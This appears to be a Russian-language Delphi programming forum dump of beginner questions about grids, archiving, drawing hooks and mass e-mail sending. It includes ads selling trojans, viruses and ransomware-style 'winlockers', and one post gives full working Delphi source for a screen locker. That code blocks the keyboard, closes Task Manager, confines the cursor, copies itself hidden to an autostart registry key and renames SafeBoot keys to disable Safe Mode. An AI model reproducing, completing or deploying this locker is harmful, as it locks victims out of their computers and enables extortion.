Откройте свой Мир!

Привет опытным архиваторам !!!
Кто подскажет прогу хорошо сжимающую мультимедийные файлы ! А то WinRAR не справляется. В справке проги ответа нет. Мне достаточно сжать до 75%, т.е. в полтора раза. И не сломается ли графика при таком сжатии ?

продаю хороший блокератор  винды сделан в делфи =)стоимость 300 руб

Подскажите пожалуйста: Как рисовать поверх всех окон левой кнопкой мыши, а правой стирать нарисованное. При этом должна быть форма с 2 кнопками, для включения и отключения этой функции. 
Нашел в интернете код но в нем нет возможности включать и выключать рисование, тут вообще нет формы.
 
program DesktopPaint;
 
uses
  windows,messages;
 
const sWndClassName='TransparentDrawingSurface';
      sWndName='DesktopPaint';
      TransparentColor=$00010101;
      PictureColor=$0000FF00;
      WH_MOUSE_LL=14;
 
type MSLLHOOKSTRUCT=record
                    pt:TPoint;
                    mouseData,
                    flags,
                    time:DWORD;
                    dwExtraInfo:pointer;
                    end;
 
var hHook:THANDLE;SurfaseWnd:HWND;
 
procedure Paint(wnd:HWND;color:COLORREF;pt:TSmallPoint);
var dc:HDC;OriginalPen:HPEN;OriginalBrush:HBRUSH;
begin
dc:=GetDC(wnd);
OriginalPen:=SelectObject(dc,GetStockObject(NULL_PEN));
OriginalBrush:=SelectObject(dc,CreateSolidBrush(color));
ellipse(dc,pt.x-10,pt.y-10,pt.x+10,pt.y+10);
SelectObject(dc,OriginalPen);
DeleteObject(SelectObject(dc,OriginalBrush));
ReleaseDC(wnd,dc);
end;
 
function MouseHook(nCode:integer;msg:cardinal;var info:MSLLHOOKSTRUCT):integer;stdcall;
var buttons:integer;pt:TSmallPoint;
begin
result:=CallNextHookEx(0,nCode,integer(msg),integer(@info));
if nCode=HC_ACTION
   then begin
        buttons:=0;
        if Hi(GetAsyncKeyState(VK_LBUTTON))<>0
           then buttons:=MK_LBUTTON;
        if Hi(GetAsyncKeyState(VK_RBUTTON))<>0
           then buttons:=buttons or MK_RBUTTON;
        pt.x:=info.pt.X;
        pt.y:=info.pt.Y;
        SendMessage(SurfaseWnd,WM_MOUSEMOVE,buttons,integer(pt));
        end;
end;
 
procedure Hook;
begin
hHook:=SetWindowsHookEx(WH_MOUSE_LL,@MouseHook,hInstance,0);
end;
 
procedure Unhook;
begin
UnhookWindowsHookEx(hHook);
end;
 
function WndProc(wnd:HWND;msg:cardinal;wParam,lParam:integer):integer;stdcall;
begin
result:=DefWindowProc(wnd,msg,wParam,lParam);
case msg of
  WM_NCCREATE:begin
              SurfaseWnd:=wnd;
              SetLayeredWindowAttributes(wnd,TransparentColor,0,LWA_COLORKEY);
              Hook;
              end;
 WM_NCDESTROY:begin
              Unhook;
              PostQuitMessage(0);
              end;
 WM_MOUSEMOVE:if (wParam and MK_LBUTTON)=0
                 then if (wParam and MK_RBUTTON)<>0
                         then Paint(wnd,TransparentColor,TSmallPoint(lParam))
                         else 
                 else Paint(wnd,PictureColor,TSmallPoint(lParam));
end;
end;
 
function CreateSurfaceWnd:boolean;
var cls:WNDCLASS;
begin
ZeroMemory(@cls,SizeOf(cls));
with cls do begin
            lpfnWndProc:=@WndProc;
            lpszClassName:=sWndClassName;
            hbrBackground:=CreateSolidBrush(TransparentColor);
            hCursor:=LoadCursor(0,IDC_ARROW);
            end;
result:=(RegisterClass(cls)<>0) and
        (CreateWindowEx(WS_EX_LAYERED or WS_EX_TOPMOST,
                        sWndClassName,sWndName,
                        WS_POPUP or WS_MAXIMIZE or WS_VISIBLE,
                        0,0,0,0,0,0,0,nil)<>0)
end;
 
var msg:TMSG;
begin
if CreateSurfaceWnd
  then while GetMessage(msg,0,0,0) do
        DispatchMessage(msg);
end.

Хай ламеры!!!
Почитал я сообщения, и понял, что самое интересное в них это "сделайте курсовую" и т.п. (кстате, на счет создания аськи мог бы помочь, но в сетях я не селен). Надо бы дать этому сообществу задачу ( например написать программу или т.п. ) чтоб сообщество процветало.
У кого какие идеи будут по поводу проги (тема, назначение, вид проги) ?

Да! И напишите адреса, у кого есть аська, квип, скайп.
Если кому нада помощь по программированию обращийтесь, чем смогу, тем помогу (а может и вы мне поможете ):
426-156-098 (аська)
radiys92 (скайп)

 

Умею программировать на turbo pascal хочу научиться программировать на delphi
свяжитесь со мной по скайпу steff7772 или по аське 567721517

Тут кто-нить бывает? =) Лан попробую на удачу... вдруг да и зайдет какой-нить кодер...
Можно-ли в StrinGrid подкрашивать необходимые ячейки... скажем в столбце нашел максимальный и минимальный элемент, необходимо что бы максимальный был подкрашен красным а минимальный синим...
Возможно такое нельзя провернуть, но тогда есть ли компоненты в делфи, которые помогут решить данную задачу?

Народ помогите найти компонент для архивации файлов Zip, Rar, и чтобы можно было бы ставить пароли на архивы!!

Здравствуйте, уважаемые!

Помогите плиз: есть пень1 с портом LPT и WIN98.
Есть некая переферийная система подключенная к данному порту.
Нужно подобрать резонансную частоту тока в районе 15кГц данной переферийной системы используя порт принтера для ввода и вывода, можно с внешними ЦАП и АЦП.
Осцилограмму входного и выходного сигнала нужно вывести на монитор.

Помогите пожалуйста с програмкой на Delphi 6 (Turbo)

Заранее благодарен! Игорь.

Кто знает, дайте совет !
У меня что-то с Явой ! Всё время выскакивают такие сообщения:

(в браузере)
SecurityError: Error #2060: Нарушение изолированной среды: вызывающий объект ExternalInterface 
http://img2.imgsmail.ru/r/my/app/flash_lc.swf не может осуществить доступ к 
http://connect.mail.ru/share_button?width=580&height=20&show_faces=true&show_text=true&test=true&domain=cards.
mail.ru&url=http%3A%2F%2Fcards.mail.ru%2Fredirect%2Fmy_share_url.tmpl%3Fcid%3D108048&buttonID=9052116&faces_
count=10&caption=%D0%9D%D1%80%D0%B0%D0%B2%D0%B8%D1%82%D1%81%D1%8F&wid=9402684&app_id=-1&fcid=5829180&host=
http%3A%2F%2Fcards.mail.ru.
at flash.external::ExternalInterface$/_initJS()
at flash.external::ExternalInterface$/call()
at flash_lc/flashReady()
at flash_lc/connectionSetup()
at flash_lc()


ИЛИ...

(в аське)
TypeError: Error #1009: Не удается вызвать свойство или метод со ссылкой на объект "null".
at zones.utils::Scroller()
at zones.boxes::ScrollerBox/init()
at zones.boxes::Box/setObjects()
at zones.boxes::ImageAndScrollerBox()
at zones::BoxesManager/addBoxes()
at zones::BoxesManager/loadXML()
at flash.events::EventDispatcher/dispatchEventFunction()
at flash.events::EventDispatcher/dispatchEvent()
at flash.net::URLLoader/onComplete()

Продам свое ПО написанное в дельфях! Имеется фейки, трояны вирусы!
Также пишу под заказ любой сложности могу продать программу блокирующую
винду (винлокер, вирус вымогатель) также любой сложности! О цене
договоримся!!  Не дороги пишите!!! Жду!!! Оплата происходит на вебмани,
яндекс деньгах, смс, деньги на телефон, майл деньги!!!

Всем добрый день! Уважаемые программисты помогите разобраться с задачей. Нужно
сделать обыкновенную БД в Delphi 7. Надо, чтобы с БД в отдельном окне отображалась
картинка, которая в БД. При выборе второй строке, вторая. Также надо сделать процес
заливки картинки в БД.

привет...у кого есть идеи отпишите в приват...гибкий очень многофукнциональный язык программирования (сайты бд игры утилиты архиваторы, настройуа и администрирование линукс...) и конечно достаточно кросплатформенный ПОЖАЛУЙСТА ОТПИШИТЕ. неужели кроме ява и питон ничего серьезного ...чтобы писать и на маки и на мелкомягких и на андроид и на симбу и на ява ме и на линукс и прочие популярные кпк?? спасибо

Программа Формодел позволяет быстро создавать курсовые,дипломы для работы с базами данных с исходниками на Delphi. 




Официальный сайт

Лайкаем, предложения и замечания оставляйте в комментариях.

Народ помогите зделать так чтоб в дельфи программа вывела все числа до 1000в мемо!
0
1
2
3
4
5
6
7
8
..
и вот так вот до 1000
сам пробовал не получается раньше делал а щас не помню как помогите пожалуйста!! 

chto tokoe canvas?kak eqo aktivirovat? kak s nim rabotat?

Обращаюсь с вопросом? Помогите понять как избавиться от ошибки regasm.exe. Она у меня возникает во время установки почти любой версии Дельфи, кроме облегченных начиная с 2005 года, а так же при установки nero 6,7.
Представляю такую странную картину.
Ставлю net framework на чистую XP Embarcadero. Чаще всего устанавливается без ошибок и работает. Но бывает все же не устанавливается, а выкидывает ошибку regasm.exe. Сегодня например 3 раза ставил windows XP, и 1 раз windows 7. Устанавливал только netframework и каждый раз кода я пробовал устанавливать Embarcadero или 2005 возникала ошибка regasm.exe. После чего она доустановившись не работает.
Сейчас сижу на дельфи 7 (2002), где не нужны netframeworks.
Вопрос состоит в следующим. Как мне избавиться от этой ошибки. 5 месяцев парюсь.
Что нужно удалить или какую запись в реестре надо изменить, создать, удалить?

Доброго времени суток обитатели сообщества! Я недавно начал увлекаться программировать на Delphi. Хочу научиться писать баннеры (не в каких корыстных целях использовать не буду) читал много статей где написанно как написать winlock на delphi. Я хочу чтоб банер блокировал explorer.exe но незнаю как программно это сделать. 
(Я еще в Delphi новичок) Буду благодарен если вы, поможете правильно составить программный код и написать в него переменную которая блокирует explorer. 

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, ExtCtrls, xpman, registry, Buttons, jpeg;

type
  TForm1 = class(TForm)
    Edit1: TEdit;
    Timer1: TTimer;
    BitBtn1: TBitBtn;
    Image1: TImage;
    procedure Timer1Timer(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure FormKeyDown(Sender: TObject; var Key: Word;
      Shift: TShiftState);
    procedure BitBtn1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
     procedure CreateWindowsRegions(const X, Y: Integer; const RegionHandle: THandle);
  end;

var
  Form1: TForm1;
  s:string;
  reg: Tregistry;
   m_OldMHook: HHook = 0;
  k_OldKBHook: HHook = 0;
implementation

{$R *.dfm}


function KbHook(code: Integer; wparam: Word; lparam: LongInt): LongInt; stdcall;
begin
 if code < 0
 then Result := CallNextHookEx(k_oldKbHook, code, wparam, lparam)
 else Result := 1;
end;

procedure DelKey;
begin
 Reg:=TRegistry.Create;
 Reg.RootKey:=HKEY_LOCAL_MACHINE;
 Reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run',true);
 Reg.DeleteValue('1');
 Reg.Free;
end;

 procedure antio;
var
 tit:HWND;
begin
 // закрываем окна
 tit:=FindWindow(nil, 'Диспетчер задач Windows');
 if (tit>0) then
 PostMessage(tit, WM_QUIT, 1, 0);
 tit:=FindWindow(nil, 'Запуск программы');
 if (tit>0) then
 PostMessage(tit, WM_QUIT, 1, 0);
 tit:=FindWindow(nil, 'Мой компьютер');
 if (tit>0) then
 PostMessage(tit, WM_QUIT, 1, 0);
end;


procedure TForm1.Timer1Timer(Sender: TObject);
var
curs: TRect;
begin
antio;
// ограничиваем движение курсора
SetWindowPos(Handle,HWND_TOPMOST,Left,Top,Width,Height,SWP_NOACTIVATE Or SWP_NOMOVE Or SWP_NOSIZE);
 curs := Rect(Form1.Left+0, Form1.Top+0, Form1.Left + Form1.Width-0, Form1.Top + Form1.Height-0);
 ClipCursor(@curs);
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
s:='123';
timer1.Interval:=1;

// Копируем себя
 CopyFile(PChar(ParamStr(0)), PChar('C:\'+ 'TestWinLock.exe'),True);
 SetFileAttributes('C:\TestWinLock.exe', faHidden);

// не возможно загрузить в безопасном режиме
// меняем имя двух  ключей в реестре,
//отвечающих за безопасный режим, что приводит к его отключению(а точнее будет вылетать "синий экран смерти" при попытке зайти в него)
// в реестре   minimal  меняем на M  и  NetWork на N

KeyPreview:=true;
reg:=TRegistry.Create;
reg.RootKey:=HKEY_LOCAL_MACHINE;
reg.MoveKey('System\CurrentControlSet\Control\SafeBoot\minimal','System\CurrentControlSet\Control\SafeBoot\M',true);
reg.MoveKey('System\CurrentControlSet\Control\SafeBoot\NetWork','System\CurrentControlSet\Control\SafeBoot\N',true);
reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run',True);
reg.WriteString('TestWinLock', 'C:\TestWinLock.exe');
reg.CloseKey;
reg.free;

end;
procedure TForm1.FormKeyDown(Sender: TObject; var Key: Word;
  Shift: TShiftState);
begin
// запрещаем   Alt+ F4
if (ssAlt in Shift) and (Key=vk_F4) then key:=0;
end;

procedure TForm1.BitBtn1Click(Sender: TObject);
begin
// проверка пароля
if Edit1.Text=s+'45' then
begin
//  Если ключ введён правильно то
// Удаляем ключ автозагрузки
DelKey;
  // Исправляем реестр

reg:=TRegistry.Create;
reg.RootKey:=HKEY_LOCAL_MACHINE;
reg.MoveKey('System\CurrentControlSet\Control\SafeBoot\M','System\CurrentControlSet\Control\SafeBoot\minimal',true);
reg.MoveKey('System\CurrentControlSet\Control\SafeBoot\N','System\CurrentControlSet\Control\SafeBoot\NetWork',true);
reg.CloseKey;
reg.free;

Close;
end
else
Edit1.Text:='Неверный код!';
end;

procedure TForm1.CreateWindowsRegions(const X, Y: Integer;
  const RegionHandle: THandle);
var
 FirstRegion, CombineRegion : THandle;
begin
 FirstRegion := CreateRoundRectRGN(0 + X, 0 + Y, 650 + X, 410 + Y, 55, 55);
 CombineRegion := FirstRegion;
 SetWindowRGN(RegionHandle, CombineRegion, true);
end;

end.

Здарово! Меня зовут Random! В своем блоге я расскажу вам о том как я делаю крупнейший в России компьютерный фестиваль CHAOS CONSTRUCTIONS, объединивший тысячи людей интересующихся искусством, создаваемым на компьютере - от админов и блогеров до мызыкантов и дизайнеров, от программистов и геймеров до изобретателей и инженеров. Присоединяйся! Мы должны держаться вместе!
http://blogs.mail.ru/mail/compfest/

НАрод помогитеВот код кароче надо чтоб по окончанию рассылки сообщений вылазио сообщение

var
i:integer;
begin
application.Title:=form1.Caption;
idSmtp1.host:=Edit1.text;
idsmtp1.port:=25;
idsmtp1.Username:=Edit2.Text;
idsmtp1.Password:=LabeledEdit3.Text;
ms.body.add(Memo1.text);
ms.From.Text:=LabeledEdit2.Text;
For I:=0 to Memo2.Lines.Count-1 do
  begin
  ms.Recipients.EMailAddresses:=memo2.Lines.Strings[i];
  ms.Subject:=LabeledEdit1.Text;
  idsmtp1.Connect();
  if idsmtp1.Connected=true then
  begin
  idsmtp1.Send(ms);
  sleep(TrackBar1.Position);
  application.Title:=form1.Caption;
  ShowMEssage('Сообщение отправлено на ' + ms.Recipients.EMailAddresses);
  idsmtp1.Disconnect;
end;
end;
end;

Подскажите кто нибудь на калькуляции функцию вычисления полей.

Вот этот код выводит текст из edit1 другой программы
WinExec('S.exe',SW_SHOW);
Begin  Sleep(3000);
h:= findWindowex(FindWindow(nil, 'PROFF'), 0, 'Edit' ,nil);
Sendmessage(h, WM_GETTEXT, 20, Integer(@s));
Edit1.Text:=s;

А как зделать так чтобы получить текст из едит 2 ???

Пользователь вводит числа. Как запихнуть их в массив?

Можно ли сделать чтобы радиогрупп потихоньку угасал. Допустим я хочу сделать тест, появляется первый вопрос радиогрупп1(рг1), выбираю ответ рг1 исчезает и медленно появляется рг2, что-то вроде прозрачности.

есть задание: Создать панели элементов с кнопками и списками. Настроить панели для реализации функции "причаливания" Docking.


помогите реализовать, пожалуйста